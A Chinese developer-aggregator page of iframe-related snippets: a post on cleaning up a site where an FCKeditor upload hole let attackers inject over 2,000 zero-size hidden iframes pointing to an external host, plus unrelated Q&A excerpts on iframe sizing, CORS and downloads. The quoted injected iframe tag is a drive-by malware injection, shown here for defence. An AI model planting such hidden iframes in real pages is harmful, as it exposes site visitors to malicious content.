iframe

解决网站防挂IFRAME木马方案

微笑、不失礼 提交于 2019-12-17 11:42:15
今天一上服务器2000多个 <iframe src="http://ca.winvv.com/cn.htm" width=0 height=0></iframe> 被 注入 ,我晕!检查了半天,原来是 FckEditor编辑器上传漏洞导致 。在找资料的同时,发现CSS有一个有趣的属性 expression , 发现这个东东还有点意思,由此写出来,“以儆效尤”! 引用:“ IE5 及其以后版本支持在CSS中使用expression,用来把CSS属性和JavaScript脚本关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。就是说CSS属性后面可以是一段JavaScript表达式,CSS属性的值等于Javascript表达式执行的结果。在表达式中可以直接 引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。 ”我的理解是: expression后面接js表达式执行相关操作 格式: (1)标记固有的CSS属性名:expression(JS表达式); (2)自定义属性名:expression(JS表达式); 使用JS销毁iframe对象原理: 使iframe里的请求地址变成空白页(about:blank),再将iframe对象从DOM(文档对象模型)中移除就可以切断所有iframe里的请求了。 CSS代码: iframe

一次下载多个文件的解决思路-JS

霸气de小男生 提交于 2019-12-17 11:24:14
一次下载多个文件的解决思路(iframe) - Eric 真实经历 最近开发项目需要做文件下载,想想挺简单的,之前也做过,后台提供下载接口,前端使用 window.location.href 就行了呗。不过开发的时候发现,有些文件有附属文件,点击 下载按钮 需要下载两个文件,而且不能使用压缩包的形式。想想不是也挺简单,点击 下载 发送两个下载请求不就搞定了么。 说干就干,三下五除二就写好了,当点击 下载 的那一刻懵逼了, 第一个请求竟然自动Cancelled了,顿时一万个草泥马崩腾而过(因为是国外服务器,下载比较慢导致第一个请求被Cancelled),这就意味着快速点击不同的 下载 按钮也会有同样的问题,这不行啊,然后开始了自己的下载探索之旅。 a标签 & location.href 我们知道a标签及href指向的如果是一个下载链接,那么相当于下载文件,对于单文件下载还是ok的,不过快速点击几个下载按钮,有的下载会被Cancelled,这可不行,继续百度。 上一段代码: const download = (url)=>{ window.location.href = url; } window.open 我们知道window.open可以打开一个新窗口,那么是不是可以实现下载呢,激动的我赶紧试了试,下载的确可以,不过会快速打开一个新窗口并且关闭,体验非常不好,果断放弃了。

Get height of iframe with external URL

心已入冬 提交于 2019-12-17 11:15:33
问题 I have to include an external whitelabel site within an iframe on my page. There are numerous pages on the external site and they vary considerably in height. I need to adjust the height of my iframe to accommodate this. I can get the height of the first page loaded into the iframe (using PHP), but no way of getting subsequent page heights because no way of knowing what the url/location changes to in the iframe. As this is an external url in the iframe the usual security limitations apply,

Embedding Google Apps Script in an iFrame

浪子不回头ぞ 提交于 2019-12-17 11:05:27
问题 I am trying to embed a page that is dynamically built using Javascript in Google Apps Script into my website in an iFrame, but the iFrame's content isn't shown. Google Apps Script has a same-origin policy which prevents it from loading. What I am trying to do is (I removed the full link): <iframe src="https://script.google.com/a/macros/SCRIPT_ID"></iframe> The error I am getting is: Refused to display 'https://script.google.com/a/macros/SCRIPT_ID' in a frame because it set 'X-Frame-Options'

Embedding Google Apps Script in an iFrame

本秂侑毒 提交于 2019-12-17 11:03:46
问题 I am trying to embed a page that is dynamically built using Javascript in Google Apps Script into my website in an iFrame, but the iFrame's content isn't shown. Google Apps Script has a same-origin policy which prevents it from loading. What I am trying to do is (I removed the full link): <iframe src="https://script.google.com/a/macros/SCRIPT_ID"></iframe> The error I am getting is: Refused to display 'https://script.google.com/a/macros/SCRIPT_ID' in a frame because it set 'X-Frame-Options'

Can Cross-Origin Resource Sharing headers authorize X-Domain IFRAME access?

你。 提交于 2019-12-17 11:03:14
问题 Adjusting the height of an IFRAME to match its content page's height can be a real drag when the containing and content pages are not from the same domain. Do the Cross-Origin Resource Sharing (CORS) headers make it possible for the content page to authorize cross-domain access to its resources and thus allow its containing page to read its height? (or, alternatively, the containing page authorize the content page to announce its height?) Or is CORS strictly an AJAX thing? 回答1: CORS doesn't

How to pass parameters through iframe from parent html?

删除回忆录丶 提交于 2019-12-17 10:59:09
问题 I have a html page in which I am setting the src for an iframe programmatically. How can I pass parameters through the iframe src and get them in the child html? Below my code: <iframe id="myIframe" src="" height="250px" width="100%" scrolling="yes" frameborder="0"></iframe> function myFunction(){ $('#myIframe').attr('src', "myIframeRequest.html"); } 回答1: On the main page simply pass parameters as follows function myFunction(){ $('#myIframe').attr('src', "myIframeRequest.html?param1=value1

Resizing iFrame with jQuery UI

只愿长相守 提交于 2019-12-17 10:58:49
问题 I have this code and it works fine: Head <script> $(document).ready(function() { $("#test").resizable({minHeight: 50, minWidth: 50}); }); </script> Body <div id="test" style="border: .1em solid black;"> </div> However when I change my "div" into "iframe" I can't resize it anymore. Body <iframe id="test" style="border: .1em solid black;"> </iframe> 回答1: Found redsquare's demo a bit wonky when moving the mouse more than a few pixels at a time. I've applied a couple modifications that help make

HTML5 : Iframe No scrolling?

六眼飞鱼酱① 提交于 2019-12-17 10:57:06
问题 When it comes to HTML5, scrolling attribute is no longer supported - but I still need to remove the scroll bars - how to do that? 回答1: In HTML5 there is no scrolling attribute because "its function is better handled by CSS" see http://www.w3.org/TR/html5-diff/ for other changes. Well and the CSS solution: CSS solution: HTML4's scrolling="no" is kind of an alias of the CSS's overflow: hidden , to do so it is important to set size attributes width/height: iframe.noScrolling{ width: 250px; /*or

Cross sub domain iframes and JavaScript

杀马特。学长 韩版系。学妹 提交于 2019-12-17 10:41:32
问题 I am working on a CMS site whose domain is: http://www.acmssite.com They have a sub-domain where they store a form system: http://www.forms.acmssite.com I have an iframe on the first that looks at a form in the latter. I need to run scripts to manipulate the latter from the former and was wondering is this possible? 回答1: In order for this to not be restricted by the same origin policy, you will probably need to do this in both the pages: document.domain = "acmssite.com"; 回答2: Yes it is. var